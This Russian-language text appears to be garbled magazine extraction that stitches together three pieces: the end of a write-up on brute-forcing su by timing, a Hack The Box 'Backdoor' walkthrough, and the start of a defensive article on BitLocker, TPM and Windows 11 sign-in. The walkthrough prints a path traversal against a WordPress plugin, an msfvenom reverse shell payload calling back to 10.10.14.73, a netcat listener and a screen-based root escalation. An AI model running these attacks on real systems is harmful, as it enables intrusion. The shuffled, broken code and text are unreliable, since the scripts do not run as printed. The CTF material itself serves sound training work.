чит, мы на вер ном пути. Нем ного модер низиру ем скрипт, что бы опре делять
задер жку авто мати чес ки и выводить най ден ный сим вол:

T

#!/bin/bash
passw=""

var  for in $(cat list.txt)
do

      | 
    3 |       

 

      echo -n " $var " ; echo "$passw$var        " time su 2>&1 | 
grep elapsed | cut -d ' ' -f grep -v '0:01.0' && echo " - $var" &
& break
done

Под бор пер вого сим вола

Нем ного изме ним скрипт для под бора вто рого сим вола.

#!/bin/bash
passw="T"

var  for in $(cat list.txt)
do

      | 
    3 |       

 

      echo -n " $var " ; echo "$passw$var        " time su 2>&1 | 
grep elapsed | cut -d ' ' -f grep -v '0:01.1' && echo " - $var" &
& break
done

Под бор вто рого сим вола

И таким обра зом переби раем все десять сим волов.

Под бор пос ледне го сим вола

Ког да получен пос ледний сим вол, поп робу ем сме нить поль зовате ля через
.su

Флаг рута

Ма шина зах вачена!

https://github.com/stealthcopter/deepce
https://github.com/DominicBreuker/pspy
https://gchq.github.io/CyberChef/
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ВЗЛОМ

Се год ня мы с тобой на при мере лег кой
по уров ню слож ности машины Backdoor
с пло щад ки  поуп ражня емся
в прос тей ших ата ках на веб-при ложе ния.
Поищем уяз вимые пла гины для WordPress,
про экс плу ати руем уяз вимость типа path
traversal, перебе рем информа цию о про- 
цес сах при помощи Burp и повысим при- 
виле гии в сис теме через поль зователь ский
скрипт.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.125    backdoor.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Мы наш ли два откры тых пор та:
22 — служ ба OpenSSH 8.2p1;•
80 — веб-сер вер Apache 2.4.41.•

SSH сме ло про пус каем, там делать нечего.

Справка: брутфорс учеток
Пос коль ку вна чале у нас нет учет ных дан ных, нет и смыс ла изу чать служ бы,
которые всег да тре буют авто риза ции (нап ример, SSH). Единс твен ное, что мы
можем делать здесь, — переби рать пароли брут форсом, но машины с HTB
поч ти всег да мож но прой ти по-дру гому. В жиз ни таких вари антов может
не быть, к тому же есть шан сы подоб рать пароль или получить его
при помощи соци аль ной инже нерии.

Изу чим веб-сер вер. Nmap сра зу показал, что там уста нов лен дви жок
WordPress 5.8.1.

Глав ная стра ница сай та

Кста ти, ту же самую информа цию (и даже чуть под робнее) можем получить,
про ана лизи ровав сайт ути литой .whatweb

whatweb http://backdoor.htb 

Вы вод прог раммы whatweb

ÒÎ×ÊÀ ÂÕÎÄÀ

При тес тирова нии сай тов на WordPress луч ше все го исполь зовать ути литу
. С ее помощью мож но обна ружить уяз вимые вер сии самого

WordPress, тем и пла гинов, а так же соб рать спи сок поль зовате лей и переб- 
рать учет ные дан ные. В общем, все, что нуж но. Перед началом ска ниро вания
советую зарегис три ровать ся на  и получить токен
для дос тупа к API. Это бес плат но.

wpscan

офи циаль ном сай те

Ча ще все го уяз вимос ти при сутс тву ют в пла гинах, поэто му я зарядил их
перебор (опция ) в агрессив ном режиме (опция 

), исполь зуя 100 потоков (опция ).

-e ap --plugins-detection
aggressive -t 100

 ap 
 100 

wpscan --url http://backdoor.htb/ -e --plugins-detection 
aggressive -t

Об наружен ные пла гины

Пот ратив нес коль ко минут, мы получа ем отчет, в котором отме чены два пла- 
гина. Об уяз вимос тях ничего не сооб щает ся, но в ebook-download не про- 
индекси рован каталог, что поз воля ет прос мотреть его содер жимое.

Со дер жимое катало га ebook-download

Из фай ла  узна ем вер сию пла гина — 1.1. Стран но, ведь ска нер

отоб разил 1.5.

readme.txt

Со дер жимое фай ла readme.txt

Ищем извес тные уяз вимос ти и экс пло иты для ebook-download 1.1 и находим
.PoC

Справка: поиск готовых эксплоитов
При пен тесте луч ше все го искать экс пло иты в Google, пос коль ку этот поис- 
ковик заг лядыва ет и в лич ные бло ги, и в самые раз ные отче ты. Уско рят дело
спе циали зиро ван ные базы вро де  — там час то мож но обна ружить
под ходящие вари анты. Если ты работа ешь в спе циали зиро ван ной ОС вро де

, то эта база у тебя уже есть и для поис ка мож но исполь зовать ути- 
литу .

Exploit-DB

Kali Linux
searchsploit

Опи сание экс пло ита

ÒÎ×ÊÀ ÎÏÎÐÛ

Уяз вимость и экс пло ит очень прос тые. Это path traversal, то есть воз можность
обра щать ся к родитель ско му катало гу ( ) при ука зании пути к фай лу. Три
таких шага, и мы выбира емся в кор невую дирек торию WordPress, где можем
про читать файл с кон фигура цией. Дела ется это одним зап росом:

../

http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.
php?ebookdownloadurl=../../../wp-config.php 

Со дер жимое фай ла wp-cong.php

Здесь хра нят ся учет ные дан ные для под клю чения к базе дан ных. Пер вая
идея — поп робовать эти учет ные дан ные для логина по SSH (не выш ло)
и дос тупа к панели адми нис три рова ния WordPress, рас положен ной в катало ге

. Авто ризо вать ся на сай те так же не выш ло./wp-admin/

Ошиб ка авто риза ции WordPress

Тог да мы можем поис кать дру гие инте рес ные фай лы и получить боль ше
информа ции с сер вера. Я исполь зовал спи сок с такими фай лами и пот ратил
мно го вре мени на их прос мотры, ведь мы можем про читать поч ти все,
для чего хва тает при виле гий. И ничего инте рес ного, кро ме фай ла 

.

/proc/
self/cmdline

Со дер жимое фай ла /proc/self/cmdline

Фай ловая сис тема  — это спе циаль ная ФС, которая есть во мно гих

сов ремен ных UNIX-сис темах. В ней мож но най ти мас су полез ной информа- 
ции в тек сто вом виде. Внут ри катало га  — огромное чис ло дру гих
катало гов с циф ровыми наз вани ями. Имя каж дого такого катало га соот ветс- 
тву ет иден тифика тору работа юще го в сис теме про цес са (PID). А файл 

 содер жит аргу мен ты коман дной стро ки, с которы ми
был запущен про цесс. Иден тифика тор  ука зыва ет на текущий про цесс.

/proc

/proc

/
proc/[pid]/cmdline

self
Пос ле этой наход ки у меня воз никла идея про верить аргу мен ты коман- 

дной стро ки всех про цес сов, вдруг какому-то из них были переда ны учет ные
дан ные. С помощью Burp Intruder мож но переб рать иден тифика торы. Это лег- 
ко сде лать, ука зав Numbers в качес тве типа наг рузки и про межу ток перебо ра
от 0 до 10 000 с шагом 1.

Burp Intruder — Positions

Burp Intruder — Payloads

Ре зуль таты перебо ра

Учет ных дан ных не находим, зато отме чаем, что на пор те 1337 запущен
gdbserver. Мы не зна ем вер сии, поэто му поп робу ем най ти прос то самый
новый экс пло ит.

Пер вая же ссыл ка в Google наводит нас на скрипт, который экс плу ати рует
RCE-уяз вимость в gdbserver 9.2. Что бы вос про извести это, сге нери руем
файл с наг рузкой при помощи :MSFvenom

4321 
 

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.73 LPORT=
PrependFork=true -o rev.bin 

За тем с исполь зовани ем  соз дадим лис тенер для при ема бэк коннек та.netcat

Справка: реверс-шелл
Об ратный шелл — это под клю чение, которое акти виру ет ата куемая машина,
а мы при нима ем и таким обра зом под клю чаем ся к ней, что бы выпол нять
коман ды от лица поль зовате ля, который запус тил шелл. Для при ема соеди- 
нения необ ходимо соз дать на локаль ной машине listener, то есть «слу- 
шатель».

В таких слу чаях при годит ся  — readline-обо лоч ка, которая в чис ле
про чего поз воля ет поль зовать ся исто рией команд. Она обыч но дос тупна
в репози тории дис три бути ва.

rlwrap

В качес тве самого лис тенера при этом мож но исполь зовать широко
извес тный netcat.

 rlwrap nc -lvp [port] 

Для это го выпол ним такую коман ду:

 nc rlwrap -cAr -lvnp 4321 

И запус тим экс пло ит.

Вы пол нение экс пло ита

Бэк коннект от сер вера

По луча ем инте рак тивную TTY-обо лоч ку и чита ем пер вый флаг — поль- 
зователь ский.

 python3 -c "import pty;pty.spawn('/bin/bash')"

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Для зах вата фла га рута нам понадо бит ся повысить при виле гии в сис теме.
Самые оче вид ные шаги для это го — про верить нас трой ки sudoers, при ложе- 
ния с выс тавлен ным битом SUID, прос лушива емые на локаль ном хос те пор ты
и спи сок запущен ных при ложе ний. Везет с пос ледним пун ктом. Мы находим
работа ющий в сис теме поль зователь ский скрипт.

Спи сок запущен ных про цес сов

На хос те каж дую секун ду запус кает ся коман да :find

 find /var/run/screen/S-root/ -empty -exec screen -dmS root 

Ес ли она находит про цесс screen, то выпол няет дей ствие , что при ведет

к запус ку screen в авто ном ном режиме (при чем запущен ном от име ни супер- 
поль зовате ля). То есть мы можем запус тить screen и под клю чить ся ко вто- 
рому, запущен ному коман дой  при виле гиро ван ному про цес су.

exec

find

export TERM=xterm 
screen -x root/root 

Это дает нам при виле гиро ван ный шелл.

Флаг рута

Ма шина зах вачена!
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ПРИВАТНОСТЬ

За щитить компь ютер с Windows не прос то,
а очень прос то: нес коль ко щел чков
мышью — и сис темный раз дел зашиф рован
BitLocker. Но может слу чить ся так, что взло-
мать этот компь ютер будет еще про ще:
дос таточ но узнать пароль от тво ей учет ной
записи Microsoft, что бы раз бло киро вать
сис тему, нес мотря на шиф рование. Оче- 
ред ной шаг в борь бе щита и меча сде лан
в Windows 11: здесь исполь зует ся аппа рат- 
ный кон троль безопас ности, а взлом
пароля при соб людении опре делен ных
усло вий будет не толь ко совер шенно бес- 
полез ным, но и невоз можным.

Нас коль ко безопас нее ста ла Windows 11 в срав нении с «десят кой» и почему?
Мож но ли обе зопа сить Windows 10 штат ными средс тва ми, не при бегая
к VeraCrypt и подоб ным инс тру мен там? И для чего же, в кон це кон цов,
Windows 11 так нужен TPM?

Ког да я начал раз бирать ся в том, как имен но, а глав ное — для чего в один- 
надца той вер сии Windows исполь зуют ся модули TPM, я чуть не сло мал голову.
Тра дици онно для Microsoft докумен тация сущес тву ет, ее мно го, но написан- 
ное в ней далеко не всег да соот ветс тву ет дей стви тель нос ти; ряд утвер жде- 
ний (мы рас смот рим их ниже) все ляет лож ную уве рен ность в безопас ности.
Пом нишь, сколь ко копий было сло мано по поводу сис темных тре бова ний
Windows 11? Теперь я готов поверить, что решение огра ничить сов мести- 
мость Windows 11 исклю читель но сис темами, обо рудо ван ными TPM, было
не волей мар кетоло гов, а уль тимату мом коман ды раз работ чиков: «Или
компь юте ры без TPM идут лесом, или мы умы ваем руки!»

ÂÊËÞ×ÀÅÌ BITLOCKER

Шиф рование сис темно го раз дела — пер вый, необ ходимый, но не всег да
дос таточ ный шаг к обес печению безопас ности сис темы. На безопас ность
зашиф рован ных дан ных может пов лиять такая неоче вид ная на пер вый взгляд
вещь, как спо соб вхо да в сис тему.

При мем за акси ому, что в тво ем компь юте ре уста нов лен и акти виро ван
в нас трой ках UEFI BIOS модуль TPM 2.0 или его ана лог (Intel Platform Trust
Technology или AMD rmware TPM). Чуть поз же я рас ска жу о том, что мож но
сде лать при его отсутс твии, но пока рас смот рим работу отно ситель но сов- 
ремен ных сис тем.

Но ведь TPM у нас запрещен?
В сети ходит мно го неп роверен ной информа ции о закон ности или незакон- 
ности TPM. По слу хам, ФСБ зап реща ет модули TPM из-за того, что те могут
исполь зовать ся для шиф рования без зак ладок. Не буду утом лять тебя юри- 
дичес кими под робнос тями (сос тавлен ная юрис тами док ладная запис ка
занима ет нес коль ко лис тов), огра ничусь лишь крат кими вывода ми.

Во-пер вых, на ввоз в стра ну аппа рат ных модулей TPM тре бует ся нотифи- 
кация (то есть для импорте ров дей ству ет раз решитель ный режим). Во-вто- 
рых, исполь зование TPM час тны ми лицами внут ри стра ны никаких законов
не наруша ет. Наконец, в-треть их: эму ляция TPM впол не легаль но при сутс тву- 
ет во всех про цес сорах Intel Core с 8-го поколе ния, а так же во всех про цес- 
сорах с архи тек турой AMD Zen и более новых. Исполь зование соот ветс тву- 
ющих фун кций закон ным обра зом вве зен ных в стра ну ком плек тующих никаких
пра вил не наруша ет.

Что бы вклю чить шиф рование сис темно го дис ка, поль зовате лям Windows
10 и 11 всех редак ций за исклю чени ем домаш ней (Home) дос таточ но открыть
апплет BitLocker Drive Encryption в панели управле ния Windows. Далее нуж но
вклю чить шиф рование (для твер дотель ных накопи телей впол не дос таточ но
зашиф ровать толь ко дан ные; сво бод ное мес то накопи тель очи щает самос- 
тоятель но по коман де ) и где-то сох ранить (или рас печатать) ключ вос- 
ста нов ления дос тупа. Шиф рование про исхо дит в фоновом режиме; через
некото рое вре мя дан ные будут зашиф рованы, накопи тель будет выг лядеть
сле дующим обра зом.

trim

За шиф рован ный накопи тель

ÄËß ×ÅÃÎ ÍÓÆÅÍ ÊËÞ× ÂÎÑÑÒÀÍÎÂËÅÍÈß ÄÎÑÒÓÏÀ (BITLOCKER

RECOVERY KEY)

Не хотелось бы в этой статье глу боко вда вать ся в под робнос ти механиз ма
шиф рования BitLocker (о нем мож но про читать, нап ример, . В двух сло- 
вах: имен но ключ вос ста нов ления дос тупа поможет тебе раз бло киро вать
накопи тель, если модуль TPM по какой-то при чине решит не отда вать сис- 
теме ключ.

здесь

В каких слу чаях TPM может «зажать» ключ? В прин ципе, это может про- 
изой ти пос ле любого обновле ния про шив ки либо BIOS самого компь юте ра
или любого под клю чен ного устрой ства (кро ме USB). Еще при изме нении
аппа рат ной кон фигура ции (уста новил новую виде окар ту), при обновле нии
Windows или одно го из драй веров, учас тву ющих в цепоч ке заг рузки. Если
такое событие про изой дет, то цепоч ка заг рузки нарушит ся (не сов падут
вычис ленные в  кон троль ные сум мы) и TPM не отдаст опе раци- 
онной сис теме ключ, который нужен для раз бло киров ки дис ка. Как резуль- 
тат — при заг рузке сис тема поп росит ввес ти код вос ста нов ления дос тупа.

ре гис трах PCR

Сис тема поп росит ввес ти код вос ста нов ления дос тупа

Пос коль ку при исполь зовании TPM дру гого метода раз бло киров ки дис ка
по умол чанию не пре дус мотре но, ключ вос ста нов ления дос тупа оста ется
единс твен ным спо собом получить дос туп к дан ным.

По чему же это го не про исхо дит каж дый раз, ког да ты обновля ешь ОС
через Windows Update? Дело в том, что сис тема зна ет об этой осо бен ности
BitLocker и на вре мя уста нов ки отклю чает защиту. Ров но то же самое ты
можешь про делать вруч ную, вос поль зовав шись коман дой 

.

Suspend 
protection

Suspend protection

Пос ле это го ты можешь спо кой но обно вить BIOS, заменить виде окар ту
или обно вить про шив ку одно го из устрой ств. Пос ле перезаг рузки сис тема
вычис лит новую цепоч ку заг рузки, которая будет счи тать ся доверен ной,
а шиф рование авто мати чес ки вклю чит ся.

ÊÀÊÈÅ ÅÑÒÜ ÐÈÑÊÈ ÏÐÈ ØÈÔÐÎÂÀÍÈÈ BITLOCKER Ñ

ÈÑÏÎËÜÇÎÂÀÍÈÅÌ TPM

Шиф рование BitLocker дос таточ но надеж но, хотя исполь зующий ся 128-бит- 
ный ключ вызыва ет некото рые сом нения в кон тек сте потен циаль ной 

. Если тебя это бес поко ит — вклю чи 256-
бит ное шиф рование в нас трой ках груп повых политик, как показа но на скрин- 
шоте. Сде лать это необ ходимо до того, как диск будет зашиф рован; нас трой- 
ка не вли яет на уже соз данные зашиф рован ные дис ки.

уяз- 
вимос ти для кван товых компь юте ров

Вклю чение 256-бит ного шиф рования

Про верить, что получи лось, мож но коман дой .manage-bde -status

 

 

 
 

 
 

 
 

 
 

 
 

 
 

Volume C: [NVME]
[OS Volume]
Size:                 930,40 GB
BitLocker Version:    2.0c
Conversion Status:    Used Space Only Encrypted
Percentage Encrypted: 100,0%
Encryption Method:    XTS-AES 256
Protection Status:    Protection On
Lock Status:          Unlocked
Identification Field: Unknown
Key Protectors:
TPM
Numerical Password

Еще один свя зан ный с BitLocker риск воз ника ет из-за того, что модуль TPM
выдаст ключ шиф рования, а Windows авто мати чес ки смон тиру ет зашиф- 
рован ный диск в про цес се заг рузки, если цепоч ка доверен ной заг рузки
не была наруше на. Таким обра зом, к момен ту, ког да Windows зап рашива ет
твой пароль (или иден тифика цию через Windows Hello), зашиф рован ный диск
уже смон тирован, а ключ шиф рования… Он, в отли чие от сис тем с macOS,
обо рудо ван ных чипом T2, хра нит ся в опе ратив ной памяти в чис том, незащи- 
щен ном виде. Да, зло умыш ленник не смо жет раз бло киро вать компь ютер,
не зная пароля от тво ей учет ной записи (или не вос поль зовав шись тво ими
биомет ричес кими дан ными для вхо да через Windows Hello), одна ко сущес тву- 
ют  извлечь ключ шиф рования из опе ратив ной памяти. Впро чем, спо- 
собы эти нас толь ко тех ничес ки слож ные, что исполь зуют их край не ред ко
и толь ко при рас сле дова нии гром ких дел.

спо собы

INFO

Сре ди про чего Windows Hello может работать
с дат чиками отпе чат ков паль цев и инфрак расны- 
ми виде ока мера ми. Чем-то подоб ным обо рудо- 
ваны прак тичес ки все сов ремен ные ноут буки,
но ник то не зап реща ет тебе под клю чить такое
устрой ство и к дес кто пу.

На конец, в самих модулях TPM (а точ нее, в ком муника цион ном про токо ле,
по которо му этот модуль обща ется с сис темой) сущес тву ет даже не уяз- 
вимость, а огромная зияющая дыра: дан ные, в том чис ле ключ к зашиф рован- 
ному дис ку, переда ются в откры том виде, и их дос таточ но прос то перех- 
ватить. Под робнее об этом читай в нашей статье «

».
Страш ный сон TPM. Взла- 

мыва ем защиту модулей TPM и шиф рование BitLocker
Впро чем, эта уяз вимость сра баты вает толь ко при исполь зовании внеш них

модулей TPM, которые под клю чают ся к материн ской пла те через спе циаль- 
ный разъ ем. Эму лято ры Intel PTT и AMD fTPM этой уяз вимос ти не под верже ны
и, соот ветс твен но, обла дают более высоким в срав нении с отдель ными
модуля ми уров нем безопас ности.

Все перечис ленные рис ки дей стви тель но сущес тву ют, но в реаль нос ти их
вли яние на безопас ность минималь но: при вклю чении шиф рования сис- 
темно го дис ка фай лы под качки и гибер нации шиф руют ся вмес те с осталь- 
ными дан ными, а извлечь ключ шиф рования из модуля TPM невоз можно,
как невоз можно его перех ватить при исполь зовании эму ляции TPM. Если
для вхо да в сис тему ты исполь зуешь локаль ную учет ную запись, пароль
от которой слож ный, уни каль ный, ниг де более не исполь зует ся и не хра нит ся,
то и подоб рать его не пред став ляет ся воз можным (напом ню, что бы взло мать
пароль NTLM, нуж но для начала вытащить базу дан ных SAM, которая зашиф- 
рована вмес те с осталь ными дан ными, и подоб рать ся к ней, не раз бло киро- 
вав сна чала зашиф рован ный диск, не удас тся).

Сов сем ина че выг лядит уяз вимость, свя зан ная с новым типом учет ных
записей Microsoft Account, которые появи лись еще во вре мена Windows 8.

Â ×ÅÌ ÏÐÎÁËÅÌÀ Ñ Ó×ÅÒÍÛÌÈ ÇÀÏÈÑßÌÈ MICROSOFT?

В Windows 10 пре дус мотре но нес коль ко типов учет ных записей, из которых
мы рас смот рим две: локаль ную учет ную запись (Windows account) и учет ную
запись Microsoft (Microsoft account). По поводу обыч ных учет ных записей все
ясно: она безопас на ров но нас толь ко, нас коль ко безопа сен (сло жен и уни- 
кален) при думан ный тобой пароль. А вот если исполь зует ся учет ная запись
Microsoft, дело при нима ет куда более инте рес ный обо рот.

INFO

От мечу еще один факт. Для пор татив ных устрой- 
ств с BitLocker Device Encryption ОС авто мати чес- 
ки соз дает ключ вос ста нов ления при шиф ровании
сис темно го раз дела. Ключ вос ста нов ления будет
так же авто мати чес ки заг ружен в учет ную запись
Microsoft пер вого поль зовате ля, который вой дет
в сис тему на этом компь юте ре с пра вами адми- 
нис тра тора и исполь зует учет ные дан ные
Microsoft для авто риза ции. Этот ключ может
получить любой поль зователь, прос то вой дя
в учет ную запись Microsoft от тво его име ни
и перей дя по сле дующей ссыл ке:

.https://account.microsoft.com/devices/recoverykey

Как работа ют и для чего нуж ны учет ные записи Microsoft? В Windows 10 (а так- 
же в Windows 8 и 8.1) для вхо да в сис тему мож но исполь зовать не толь ко
локаль ную учет ную запись, но и учет ную запись Microsoft Account — ту самую,
через которую ты получа ешь дос туп к онлай новому поч товому сер вису
Hotmail, мес сен дже ру Skype, облачно му хра нили щу OneDrive, под писке
на Office 365 и мно гим дру гим сер висам Microsoft. В пос леду ющих выпус ках
Windows учет ным записям Microsoft Account при давал ся все боль ший вес,
а уста нов ка ОС без нее ста нови лась все более слож ной. В млад ших редак- 
циях Windows исполь зование локаль ного логина и пароля и вов се огра ничи- 
ли: нас тро ить сис тему при уста нов ке мож но исклю читель но с исполь зовани- 
ем онлай новой учет ной записи.

Пер вый вход в учет ную запись Microsoft Account тре бует наличия активно- 
го соеди нения с интерне том. Дан ные учет ной записи про веря ются Microsoft
на уда лен ном сер вере, пос ле чего хеш от пароля сох раня ется (кеширу ется)
на компь юте ре; это поз воля ет вхо дить в учет ную запись, ког да соеди нение
отсутс тву ет. У такого поведе ния есть и обратная сто рона: если сис темный
диск не зашиф рован, то хеш мож но извлечь из соот ветс тву ющей базы дан ных
на компь юте ре, пос ле чего вос ста новить ори гиналь ный пароль через быс- 
трую офлай новую ата ку.

Под чер кну, что вос ста нав лива ется имен но пароль от учет ной записи
Microsoft Account, с помощью которо го мож но авто ризо вать ся не толь ко
на ата куемом компь юте ре, но и в онлай новых сер висах Microsoft, получив,
таким обра зом, дос туп к перепис ке в Hotmail, чатам Skype, фай лам OneDrive
и дру гой информа ции. Более того, в учет ных записях Microsoft хра нят ся в том
чис ле и депони рован ные клю чи BitLocker, исполь зующиеся для вос ста нов- 
ления дос тупа к зашиф рован ным дис кам. Добав лю, что ско рость ата ки
на пароли Windows исклю читель но высокая, а это поз воля ет (в отсутс твие
шиф рования) в разум ные сро ки вос ста нав ливать даже дос таточ но слож ные
пароли. Ког да-то дав но я уже писал об этой уяз вимос ти в статье «

».
Microsoft

Account: удобс тво или дыра в безопас ности?
Ис поль зование двух фактор ной аутен тифика ции может защитить содер- 

жимое онлай новой учет ной записи, одна ко пароль от учет ной записи
Microsoft, извле чен ный, нап ример, из тво его телефо на или с дру гого компь- 
юте ра, шиф рование на котором не вклю чено, поз воля ет раз бло киро вать
и твой компь ютер с TPM, даже если его сис темный диск зашиф рован.

Раз работ чики Microsoft пред ложили допол нитель ные спо собы авто риза- 
ции — в пер вую оче редь вход по PIN-коду (о нем будет чуть ниже). Одна ко
даже вклю чение логина по PIN-коду не реша ет ни одной из двух проб лем:
воз можнос ти вос ста нов ления ори гиналь ного пароля от онлай новой учет ной
записи через быс трую офлай новую ата ку (если сис темный диск компь юте ра
не зашиф рован) и воз можнос ти раз бло киро вать зашиф рован ный диск
паролем от учет ной записи Microsoft, если его уда лось узнать, под смот реть
или извлечь с дру гого устрой ства.

Под водя итог, проб лемы с логином в Windows при исполь зовании учет ной
записи Microsoft мож но сфор мулиро вать сле дующим обра зом.
1. Ес ли зло умыш ленник получит дос туп к любому устрой ству, на котором хра- 

нит ся пароль от учет ной записи Microsoft, то с этим паролем он смо жет
залоги нить ся в твой компь ютер с Windows 10 — даже если в компь юте ре
есть модуль TPM, а сис темный диск зашиф рован BitLocker.

2. Ес ли на одном из компь юте ров с Windows 10, на котором при сутс тву ет
твоя учет ная запись Microsoft, сис темный диск не будет зашиф рован, то
пароль от  учет ной записи может быть вос ста нов лен очень
быс трой ата кой в режиме офлайн.

он лай новой

Имен но эти проб лемы раз работ чики Microsoft решили испра вить в Windows
11, добавив новый тип учет ных записей Microsoft, пароль для вхо да в которые
не тре бует ся.

×ÒÎ ÈÇÌÅÍÈËÎÑÜ Â WINDOWS 11

В новой вер сии ОС раз работ чики геро ичес ки пре одо лева ют пос ледс твия
ста рого, еще вре мен Windows 8, решения исполь зовать для вхо да в сис тему
логин и пароль от онлай новой учет ной записи. Как мож но обе зопа сить
компь ютер от вхо да по паролю от учет ной записи Microsoft, который зло- 
умыш ленник может под смот реть или извлечь из тво его телефо на? Конеч но
же, зап ретив исполь зование это го пароля для вхо да в сис тему! Впро чем,
пока воз держим ся от фей спал ма, бла го раз работ чики Microsoft решили
проб лему не нас толь ко пря моли ней но.

Итак, в Windows 11 появ ляет ся новый тип учет ных записей, исполь зующих
для авто риза ции вхо да в сис тему Microsoft Account, которым не нужен пароль
от онлай новой учет ной записи. При исполь зовании таких уче ток для вхо да
в сис тему не тре бует ся (да и невоз можно) вво дить пароль от учет ной записи
Microsoft; вмес то пароля исполь зует ся PIN-код или биомет ричес кие дан ные
под систе мы Windows Hello (нап ример, виде опо ток с сер тифици рован ной
инфрак расной сте реока меры или дан ные дат чика отпе чат ков паль цев).
О том, где хра нит ся PIN-код и почему такой спо соб авто риза ции замет но
безопас нее вхо да по паролю, рас ска жу даль ше; сей час же перечис лим дос- 
тупные в Windows 11 для обыч ного (не домен ного) поль зовате ля спо собы
вхо да в сис тему.

 — исполь зует ся

по умол чанию. Пароль для вхо да в сис тему ввес ти невоз можно; под держи- 
вает ся вход по PIN-коду (TPM), Windows Hello или через авто риза цию
в при ложе нии Microsoft Authenticator (онлайн).

• Ó÷åò íàÿ çàïèñü Microsoft Account áåç ïàðîëÿ

 Хеш пароля к учет ной

записи хра нит ся локаль но и не защища ется TPM. Под держи вает ся вход
по PIN-коду (TPM), Windows Hello. Так было в Windows 10, и так оста ется
при обновле нии Windows 10 до Windows 11.

• Ó÷åò íàÿ çàïèñü Microsoft Account ñ ïàðîëåì.

 Для вхо да
может исполь зовать ся локаль ный пароль (его хеш хра нит ся в сис теме,
не защища ется TPM), PIN (TPM) или Windows Hello.

• Ëî êàëü íàÿ ó÷åò íàÿ çàïèñü Windows (âõîä ïî ïàðîëþ).

Продолжение статьи →
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РЕШЕТКИ НА «ОКНА»
ЗАЩИЩАЕМ КОМПЬЮТЕРЫ С WINDOWS 10

И ОСОБЕННО — С WINDOWS 11

ПРИВАТНОСТЬ  НАЧАЛО СТАТЬИ←

Â ÊÀÊÈÕ ÑËÓ×ÀßÕ Â WINDOWS 11 ÈÑÏÎËÜÇÓÅÒÑß ÂÕÎÄ ÁÅÇ

ÏÀÐÎËß?

В Windows 11 под держи вают ся спо собы вхо да как по паролю, так и без него.
Режим вхо да без пароля исполь зует ся в новом типе учет ных записей и вклю- 
чает ся по умол чанию как во вре мя уста нов ки Windows 11 на новый компь- 
ютер, так и при соз дании новой учет ной записи на компь юте рах, на которых
Windows 11 была уста нов лена в виде обновле ния Windows 10. В то же вре мя
сущес тву ющие в Windows 10 учет ные записи, в которых для вхо да исполь- 
зовал ся пароль, оста ются в Windows 11 в неиз менном виде. Что бы вклю чить
вход без пароля, поль зовате лю необ ходимо выб рать соот ветс тву ющую
опцию в нас трой ках сис темы (Sign-in options).

Вклю чение вхо да без пароля в Windows 11

Так же этот спо соб вхо да мож но акти виро вать через Windows Registry.

Вклю чение вхо да без пароля в Windows 11 через Windows Registry

По дыто жим:
При уста нов ке Windows 11 на новый компь ютер исполь зует ся Microsoft
Account, вход без пароля.

•

При обновле нии с Windows 10: исполь зует ся тот же спо соб вхо да, что и в
ори гиналь ной ОС Windows 10.

•

Но вые учет ные записи, соз дава емые в Windows 11, уста нов ленной любым
спо собом: исполь зует ся Microsoft Account, вход без пароля.

•

А что в Windows 11 с BitLocker?
Ни сам механизм BitLocker, ни полити ки шиф рования в Windows 11 не пре тер- 
пели серь езных изме нений в срав нении с Windows 10. Пос ле анон са Windows
11 у мно гих обоз ревате лей воз никло впе чат ление, что Microsoft будет шиф- 
ровать сис темный раз дел Windows 11 так же, как это дела ют про изво дите ли
смар тфо нов. Ожи дания не оправда лись. По умол чанию (через BitLocker
Device Encryption) шиф руют ся лишь обо рудо ван ные TPM пор татив ные устрой- 
ства — ноут буки, план шеты и устрой ства «два в одном»; одна ко точ но таким
же обра зом шиф рование вклю чалось и в Windows 8, и в Windows 10. При уста- 
нов ке Windows 11 на нас толь ный компь ютер шиф рование по умол чанию
не вклю чает ся; более того, что бы исполь зовать BitLocker, тре бует ся редак ция
Windows 11 Pro, Enterprise или Education. Для поль зовате лей млад шей редак- 
ции Home шиф рование оста ется недос тупным.

PIN-ÊÎÄ ÂÌÅÑÒÎ ÏÀÐÎËß: ÝÒÎ ÄÅÉÑÒÂÈÒÅËÜÍÎ ÁÅÇÎÏÀÑÍÅÉ?

На конец мы доб рались до PIN-кодов — того «нового» спо соба авто риза ции,
который Microsoft пред лага ет исполь зовать вмес то «уста рев шего и небезо- 
пас ного» пароля. Почему — вне зап но! — авто риза ция по паролю ста ла «уста- 
рев шей и небезо пас ной»? При веду информа цию из статьи Microsoft,
в которой и опи саны основные раз личия меж ду под ходами.

INFO

А зна ешь ли ты, что в Windows 10 так же исполь-
зует ся (точ нее, может исполь зовать ся… а может
и не исполь зовать ся) модуль безопас ности TPM
2.0? Раз ница меж ду Windows 10 и Windows
11 не в мас шта бах исполь зования TPM (здесь я
не уви дел прин ципи аль ных отли чий), а в том, что
в Windows 11 TPM обя зате лен, а в Windows 10 —
нет. Эта, казалось бы, неболь шая раз ница при- 
водит к гло баль ным пос ледс тви ям в области
безопас ности при исполь зовании вхо да по PIN-
коду вмес то пароля. Под робно об этом Microsoft
рас ска зыва ет в 

.
сле дующей статье (на англий- 

ском)

В этой статье Microsoft выс казыва ет нес коль ко не впол не кор рек тных утвер- 
